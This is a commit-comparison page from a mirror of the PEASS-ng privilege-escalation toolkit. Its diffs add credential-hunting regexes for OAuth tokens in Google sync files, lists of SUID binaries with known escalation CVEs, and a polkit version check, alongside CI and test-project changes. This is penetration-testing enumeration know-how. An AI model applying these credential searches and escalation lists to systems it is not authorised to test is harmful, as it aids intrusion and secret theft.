mirror of
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git
synced 2026-01-02 12:59:09 +00:00
Compare commits
43 Commits
carlospolo
...
20241011-f
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
85ab89511e | ||
|
|
623fdd24d7 | ||
|
|
26cb96cdc7 | ||
|
|
abd4aa59cd | ||
|
|
54fcb8a98b | ||
|
|
ac29863d3b | ||
|
|
c62c844683 | ||
|
|
d23be35a28 | ||
|
|
4b04fd143b | ||
|
|
08746a3dff | ||
|
|
eebe7974a9 | ||
|
|
4bd1dbdf45 | ||
|
|
003b389c41 | ||
|
|
8dfa0ef054 | ||
|
|
a5ce3f938d | ||
|
|
9340bdca19 | ||
|
|
c4b52cadb7 | ||
|
|
1884a64e37 | ||
|
|
19b2a94c2d | ||
|
|
82fcd44b56 | ||
|
|
8a3e272e21 | ||
|
|
8032abdbfc | ||
|
|
ea4958c483 | ||
|
|
7144ea2dc6 | ||
|
|
95a508171f | ||
|
|
ac6b5a9add | ||
|
|
6854d3ae30 | ||
|
|
6fa12e07f1 | ||
|
|
e6e1145be6 | ||
|
|
d37ebda1b5 | ||
|
|
c5775dda59 | ||
|
|
bc732d6458 | ||
|
|
8969184998 | ||
|
|
79c79e3426 | ||
|
|
b8adc7af3b | ||
|
|
edab7cecba | ||
|
|
f80c1f371e | ||
|
|
f90cdf9a87 | ||
|
|
7a9ea40cbb | ||
|
|
faf6be53a8 | ||
|
|
83f18f891f | ||
|
|
b6ec3236d8 | ||
|
|
2ab6e7047e |
39
.github/workflows/CI-master_tests.yml
vendored
39
.github/workflows/CI-master_tests.yml
vendored
@@ -9,7 +9,7 @@ on:
|
||||
- '.github/**'
|
||||
|
||||
schedule:
|
||||
- cron: "5 4 * * SUN"
|
||||
- cron: "5 4 1 * *"
|
||||
|
||||
workflow_dispatch:
|
||||
|
||||
@@ -51,8 +51,8 @@ jobs:
|
||||
run: msbuild $env:Solution_Path
|
||||
|
||||
# Execute all unit tests in the solution
|
||||
- name: Execute unit tests
|
||||
run: dotnet test $env:Solution_Path
|
||||
#- name: Execute unit tests
|
||||
# run: dotnet test $env:Solution_Path
|
||||
|
||||
# Build & update all versions
|
||||
- name: Build all versions
|
||||
@@ -66,6 +66,39 @@ jobs:
|
||||
echo "build Any CPU"
|
||||
msbuild -m $env:Solution_Path /t:Rebuild /p:Configuration=$env:Configuration /p:Platform="Any CPU"
|
||||
|
||||
- name: Execute winPEAS -h
|
||||
shell: pwsh
|
||||
run: |
|
||||
$Configuration = "Release"
|
||||
$exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe"
|
||||
if (Test-Path $exePath) {
|
||||
& $exePath -h
|
||||
} else {
|
||||
Write-Error "winPEAS.exe not found at $exePath"
|
||||
}
|
||||
|
||||
- name: Execute winPEAS cloudinfo
|
||||
shell: pwsh
|
||||
run: |
|
||||
$Configuration = "Release"
|
||||
$exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe"
|
||||
if (Test-Path $exePath) {
|
||||
& $exePath cloudinfo
|
||||
} else {
|
||||
Write-Error "winPEAS.exe not found at $exePath"
|
||||
}
|
||||
|
||||
- name: Execute winPEAS systeminfo
|
||||
shell: pwsh
|
||||
run: |
|
||||
$Configuration = "Release"
|
||||
$exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe"
|
||||
if (Test-Path $exePath) {
|
||||
& $exePath systeminfo
|
||||
} else {
|
||||
Write-Error "winPEAS.exe not found at $exePath"
|
||||
}
|
||||
|
||||
# Copy the built versions
|
||||
- name: Copy all versions
|
||||
run: |
|
||||
|
||||
@@ -1419,6 +1419,26 @@ search:
|
||||
search_in:
|
||||
- common
|
||||
|
||||
- name: "Google Cloud Directory Sync"
|
||||
value:
|
||||
files:
|
||||
- name: "*.xml"
|
||||
value:
|
||||
bad_regex: "oAuth2RefreshToken.*|authCredentialsEncrypted.*"
|
||||
type: d
|
||||
search_in:
|
||||
- common
|
||||
|
||||
- name: "Google Password Sync"
|
||||
value:
|
||||
files:
|
||||
- name: "*.xml"
|
||||
value:
|
||||
bad_regex: "baseDN.*|authorizeUsername.*"
|
||||
type: d
|
||||
search_in:
|
||||
- common
|
||||
|
||||
|
||||
- name: Road Recon
|
||||
value:
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
# Title: System Information - CVE_2021_3560
|
||||
# ID: SY_CVE_2021_3560
|
||||
# Author: Carlos Polop
|
||||
# Last Update: 07-10-2024
|
||||
# Description: CVE-2021-3560 - paper box from HTB
|
||||
# License: GNU GPL
|
||||
# Version: 1.0
|
||||
# Functions Used:
|
||||
# Global Variables:
|
||||
# Initial Functions:
|
||||
# Generated Global Variables:
|
||||
# Fat linpeas: 0
|
||||
# Small linpeas: 0
|
||||
|
||||
if apt list --installed 2>/dev/null | grep -q 'polkit.*0\.105-26' || \
|
||||
yum list installed 2>/dev/null | grep -q 'polkit.*\(0\.117-2\|0\.115-6\)' || \
|
||||
rpm -qa 2>/dev/null | grep -q 'polkit.*\(0\.117-2\|0\.115-6\)'; then
|
||||
echo "Vulnerable to CVE-2021-3560" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
@@ -25,6 +25,9 @@ sidB="/apache2$%Read_root_passwd__apache2_-f_/etc/shadow\(CVE-2019-0211\)\
|
||||
/dtappgather$%Solaris_7_<_11_\(SPARC/x86\)\(CVE-2017-3622\)\
|
||||
/dtprintinfo$%Solaris_10_\(x86\)_and_lower_versions_also_SunOS_5.7_to_5.10\
|
||||
/dtsession$%Oracle_Solaris_10_1/13_and_earlier\(CVE-2020-2696\)\
|
||||
/enlightenment_backlight$%Before_0.25.4_\(CVE-2022-37706\)\
|
||||
/enlightenment_ckpasswd$%Before_0.25.4_\(CVE-2022-37706\)\
|
||||
/enlightenment_sys$%Before_0.25.4_\(CVE-2022-37706\)\
|
||||
/eject$%FreeBSD_mcweject_0.9/SGI_IRIX_6.2\
|
||||
/ibstat$%IBM_AIX_Version_6.1/7.1\(09-2013\)\
|
||||
/kcheckpass$%KDE_3.2.0_<-->_3.4.2_\(both_included\)\
|
||||
@@ -42,7 +45,7 @@ sidB="/apache2$%Read_root_passwd__apache2_-f_/etc/shadow\(CVE-2019-0211\)\
|
||||
/newgrp$%HP-UX_10.20\
|
||||
/ntfs-3g$%Debian9/8/7/Ubuntu/Gentoo/others/Ubuntu_Server_16.10_and_others\(02-2017\)\
|
||||
/passwd$%Apple_Mac_OSX\(03-2006\)/Solaris_8/9\(12-2004\)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1\(02-1997\)\
|
||||
/pkexec$%Linux4.10_to_5.1.17\(CVE-2019-13272\)/rhel_6\(CVE-2011-1485\)\
|
||||
/pkexec$%Linux4.10_to_5.1.17\(CVE-2019-13272\)/rhel_6\(CVE-2011-1485\)/Generic_CVE-2021-4034\
|
||||
/pppd$%Apple_Mac_OSX_10.4.8\(05-2007\)\
|
||||
/pt_chown$%GNU_glibc_2.1/2.1.1_-6\(08-1999\)\
|
||||
/pulseaudio$%\(Ubuntu_9.04/Slackware_12.2.0\)\
|
||||
|
||||
@@ -364,7 +364,10 @@ class LinpeasBuilder:
|
||||
except:
|
||||
rb = requests.get(f"https://raw.githubusercontent.com/GTFOBins/GTFOBins.github.io/master/_gtfobins/{b}.md", timeout=5)
|
||||
if "sudo:" in rb.text:
|
||||
sudoVB.append(b+"$")
|
||||
if len(b) <= 3:
|
||||
sudoVB.append("[^a-ZA-Z0-9]"+b+"$") # Less false possitives applied to small names
|
||||
else:
|
||||
sudoVB.append(b+"$")
|
||||
if "suid:" in rb.text:
|
||||
suidVB.append("/"+b+"$")
|
||||
if "capabilities:" in rb.text:
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -1,6 +1,54 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
|
||||
</startup>
|
||||
<configSections>
|
||||
<!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/?LinkID=237468 -->
|
||||
<section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
|
||||
</configSections>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />
|
||||
</startup>
|
||||
<entityFramework>
|
||||
<providers>
|
||||
<provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" />
|
||||
<provider invariantName="System.Data.SQLite.EF6" type="System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6" />
|
||||
</providers>
|
||||
</entityFramework>
|
||||
<system.data>
|
||||
<DbProviderFactories>
|
||||
<remove invariant="System.Data.SQLite.EF6" />
|
||||
<add name="SQLite Data Provider (Entity Framework 6)" invariant="System.Data.SQLite.EF6" description=".NET Framework Data Provider for SQLite (Entity Framework 6)" type="System.Data.SQLite.EF6.SQLiteProviderFactory, System.Data.SQLite.EF6" />
|
||||
<remove invariant="System.Data.SQLite" /><add name="SQLite Data Provider" invariant="System.Data.SQLite" description=".NET Framework Data Provider for SQLite" type="System.Data.SQLite.SQLiteFactory, System.Data.SQLite" /></DbProviderFactories>
|
||||
</system.data>
|
||||
<runtime>
|
||||
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Runtime" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.2.0" newVersion="4.1.2.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Reflection" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.2.0" newVersion="4.1.2.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Runtime.Extensions" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.2.0" newVersion="4.1.2.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Text.RegularExpressions" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.1.0" newVersion="4.1.1.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Linq" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.2.0" newVersion="4.1.2.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Diagnostics.Tracing" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.2.0.0" newVersion="4.2.0.0" />
|
||||
</dependentAssembly>
|
||||
</assemblyBinding>
|
||||
</runtime>
|
||||
</configuration>
|
||||
3
winPEAS/winPEASexe/Tests/FodyWeavers.xml
Normal file
3
winPEAS/winPEASexe/Tests/FodyWeavers.xml
Normal file
@@ -0,0 +1,3 @@
|
||||
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
|
||||
<Costura />
|
||||
</Weavers>
|
||||
141
winPEAS/winPEASexe/Tests/FodyWeavers.xsd
Normal file
141
winPEAS/winPEASexe/Tests/FodyWeavers.xsd
Normal file
@@ -0,0 +1,141 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
|
||||
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
|
||||
<xs:element name="Weavers">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeRuntimeReferences" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if runtime assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="UseRuntimeReferencePaths" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCompression" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCleanup" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="VerifyAssembly" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="GenerateXsd" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:schema>
|
||||
@@ -1,7 +1,48 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<packages>
|
||||
<package id="Costura.Fody" version="5.7.0" targetFramework="net452" developmentDependency="true" />
|
||||
<package id="EntityFramework" version="6.4.4" targetFramework="net452" />
|
||||
<package id="Fody" version="6.5.5" targetFramework="net452" developmentDependency="true" />
|
||||
<package id="Microsoft.CodeCoverage" version="16.10.0" targetFramework="net452" />
|
||||
<package id="Microsoft.NET.Test.Sdk" version="16.10.0" targetFramework="net452" />
|
||||
<package id="Microsoft.NETCore.Platforms" version="1.1.0" targetFramework="net452" />
|
||||
<package id="MSTest.TestAdapter" version="2.2.5" targetFramework="net452" />
|
||||
<package id="MSTest.TestFramework" version="2.2.5" targetFramework="net452" />
|
||||
<package id="NETStandard.Library" version="1.6.1" targetFramework="net452" />
|
||||
<package id="Portable.BouncyCastle" version="1.9.0" targetFramework="net452" />
|
||||
<package id="Stub.System.Data.SQLite.Core.NetFramework" version="1.0.119.0" targetFramework="net452" requireReinstallation="true" />
|
||||
<package id="System.Collections" version="4.3.0" targetFramework="net452" />
|
||||
<package id="System.Collections.Concurrent" version="4.3.0" targetFramework="net452" />
|
||||
<package id="System.Data.SQLite" version="1.0.119.0" targetFramework="net452" />
|
||||
<package id="System.Data.SQLite.Core" version="1.0.119.0" targetFramework="net452" />
|
||||
<package id="System.Data.SQLite.EF6" version="1.0.119.0" targetFramework="net452" requireReinstallation="true" />
|
||||
<package id="System.Data.SQLite.Linq" version="1.0.119.0" targetFramework="net452" requireReinstallation="true" />
|
||||
<package id="System.Diagnostics.Debug" version="4.3.0" targetFramework="net452" />
|
||||
<package id="System.Diagnostics.Tools" version="4.3.0" targetFramework="net452" />
|
||||
<package id="System.Diagnostics.Tracing" version="4.3.0" targetFramework="net452" requireReinstallation="true" />
|
||||
<package id="System.Globalization" version="4.3.0" targetFramework="net452" />
|
||||
<package id="System.IO" version="4.3.0" targetFramework="net452" requireReinstallation="true" />
|
||||
<package id="System.IO.Compression" version="4.3.0" targetFramework="net452" requireReinstallation="true" />
|
||||
<package id="System.Linq" version="4.3.0" targetFramework="net452" requireReinstallation="true" />
|
||||
<package id="System.Linq.Expressions" version="4.3.0" targetFramework="net452" requireReinstallation="true" />
|
||||
<package id="System.Net.Http" version="4.3.0" targetFramework="net452" requireReinstallation="true" />
|
||||
<package id="System.Net.Primitives" version="4.3.0" targetFramework="net452" />
|
||||
<package id="System.ObjectModel" version="4.3.0" targetFramework="net452" />
|
||||
<package id="System.Reflection" version="4.3.0" targetFramework="net452" requireReinstallation="true" />
|
||||
<package id="System.Reflection.Extensions" version="4.3.0" targetFramework="net452" />
|
||||
<package id="System.Reflection.Primitives" version="4.3.0" targetFramework="net452" />
|
||||
<package id="System.Resources.ResourceManager" version="4.3.0" targetFramework="net452" />
|
||||
<package id="System.Runtime" version="4.3.0" targetFramework="net452" requireReinstallation="true" />
|
||||
<package id="System.Runtime.Extensions" version="4.3.0" targetFramework="net452" requireReinstallation="true" />
|
||||
<package id="System.Runtime.InteropServices" version="4.3.0" targetFramework="net452" requireReinstallation="true" />
|
||||
<package id="System.Runtime.InteropServices.RuntimeInformation" version="4.3.0" targetFramework="net452" />
|
||||
<package id="System.Runtime.Numerics" version="4.3.0" targetFramework="net452" />
|
||||
<package id="System.Text.Encoding" version="4.3.0" targetFramework="net452" />
|
||||
<package id="System.Text.Encoding.Extensions" version="4.3.0" targetFramework="net452" />
|
||||
<package id="System.Text.RegularExpressions" version="4.3.0" targetFramework="net452" requireReinstallation="true" />
|
||||
<package id="System.Threading" version="4.3.0" targetFramework="net452" />
|
||||
<package id="System.Threading.Tasks" version="4.3.0" targetFramework="net452" />
|
||||
<package id="System.Threading.Timer" version="4.3.0" targetFramework="net452" />
|
||||
<package id="System.Xml.ReaderWriter" version="4.3.0" targetFramework="net452" requireReinstallation="true" />
|
||||
<package id="System.Xml.XDocument" version="4.3.0" targetFramework="net452" />
|
||||
</packages>
|
||||
@@ -1,5 +1,7 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="..\packages\Costura.Fody.5.7.0\build\Costura.Fody.props" Condition="Exists('..\packages\Costura.Fody.5.7.0\build\Costura.Fody.props')" />
|
||||
<Import Project="..\packages\EntityFramework.6.4.4\build\EntityFramework.props" Condition="Exists('..\packages\EntityFramework.6.4.4\build\EntityFramework.props')" />
|
||||
<Import Project="..\packages\MSTest.TestAdapter.2.2.5\build\net45\MSTest.TestAdapter.props" Condition="Exists('..\packages\MSTest.TestAdapter.2.2.5\build\net45\MSTest.TestAdapter.props')" />
|
||||
<Import Project="..\packages\Microsoft.NET.Test.Sdk.16.10.0\build\net45\Microsoft.NET.Test.Sdk.props" Condition="Exists('..\packages\Microsoft.NET.Test.Sdk.16.10.0\build\net45\Microsoft.NET.Test.Sdk.props')" />
|
||||
<Import Project="..\packages\Microsoft.CodeCoverage.16.10.0\build\netstandard1.0\Microsoft.CodeCoverage.props" Condition="Exists('..\packages\Microsoft.CodeCoverage.16.10.0\build\netstandard1.0\Microsoft.CodeCoverage.props')" />
|
||||
@@ -11,12 +13,13 @@
|
||||
<OutputType>Library</OutputType>
|
||||
<RootNamespace>Tests</RootNamespace>
|
||||
<AssemblyName>Tests</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.5.2</TargetFrameworkVersion>
|
||||
<TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
|
||||
<Deterministic>true</Deterministic>
|
||||
<NuGetPackageImportStamp>
|
||||
</NuGetPackageImportStamp>
|
||||
<TargetFrameworkProfile />
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
@@ -41,6 +44,18 @@
|
||||
<StartupObject />
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="BouncyCastle.Crypto, Version=1.9.0.0, Culture=neutral, PublicKeyToken=0e99375e54769942, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Portable.BouncyCastle.1.9.0\lib\net40\BouncyCastle.Crypto.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="Costura, Version=5.7.0.0, Culture=neutral, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Costura.Fody.5.7.0\lib\netstandard1.0\Costura.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="EntityFramework.SqlServer, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.SqlServer.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="Microsoft.VisualStudio.CodeCoverage.Shim, Version=15.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Microsoft.CodeCoverage.16.10.0\lib\net45\Microsoft.VisualStudio.CodeCoverage.Shim.dll</HintPath>
|
||||
</Reference>
|
||||
@@ -51,7 +66,23 @@
|
||||
<HintPath>..\packages\MSTest.TestFramework.2.2.5\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.ComponentModel.Composition" />
|
||||
<Reference Include="System.ComponentModel.DataAnnotations" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Data.SQLite, Version=1.0.119.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\lib\net451\System.Data.SQLite.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Data.SQLite.EF6, Version=1.0.119.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Data.SQLite.EF6.1.0.119.0\lib\net451\System.Data.SQLite.EF6.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Data.SQLite.Linq, Version=1.0.119.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Data.SQLite.Linq.1.0.119.0\lib\net451\System.Data.SQLite.Linq.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.IO.Compression" />
|
||||
<Reference Include="System.Numerics" />
|
||||
<Reference Include="System.Runtime.InteropServices.RuntimeInformation, Version=4.0.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Runtime.InteropServices.RuntimeInformation.4.3.0\lib\net45\System.Runtime.InteropServices.RuntimeInformation.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
@@ -84,8 +115,18 @@
|
||||
<Error Condition="!Exists('..\packages\Microsoft.NET.Test.Sdk.16.10.0\build\net45\Microsoft.NET.Test.Sdk.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Microsoft.NET.Test.Sdk.16.10.0\build\net45\Microsoft.NET.Test.Sdk.targets'))" />
|
||||
<Error Condition="!Exists('..\packages\MSTest.TestAdapter.2.2.5\build\net45\MSTest.TestAdapter.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\MSTest.TestAdapter.2.2.5\build\net45\MSTest.TestAdapter.props'))" />
|
||||
